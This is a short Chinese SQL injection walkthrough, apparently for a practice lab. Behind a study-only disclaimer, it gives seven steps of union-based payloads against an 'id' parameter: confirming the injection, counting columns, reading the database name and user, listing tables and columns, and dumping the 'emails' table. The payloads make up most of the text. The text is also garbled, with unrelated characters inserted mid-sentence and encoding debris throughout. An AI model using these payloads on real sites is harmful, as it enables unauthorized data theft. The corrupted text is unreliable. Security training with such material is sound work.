特別聲明:該文章只運(yùn)用于學(xué)習(xí)安全測(cè)試交流之用艾扮,請(qǐng)勿用于其他
第一步:確認(rèn)注入點(diǎn)類型
參數(shù)中輸入' --+頁(yè)面無(wú)報(bào)錯(cuò)提示,推測(cè)存在SQL注入注入類型為字符型
第二步:判斷SQL語(yǔ)句中查詢字段數(shù)筐高,拼接2' order by 4 --+ 確認(rèn)SQL鐘查詢字段數(shù)
第三步:判斷SQL語(yǔ)句中查詢字段數(shù)展示順序搜囱,拼接 2' and 0=1 union select 1,2,3 --+
第四步:查詢當(dāng)前表名和用戶名,id=2' and 0=1 union select 1,database(),user() --+柑土,可見(jiàn)代碼中直接連接了root用戶
第五步:查詢所有表名
id= 2 ' and 0=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
第六步:查詢表中列表
id= 2 ' and 0=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name= 'emails' --+
第七步:查詢想要的數(shù)據(jù)
2 ' and 0=1 union select 1,2,group_concat(concat_ws('-',id,email_id)) from `emails` --+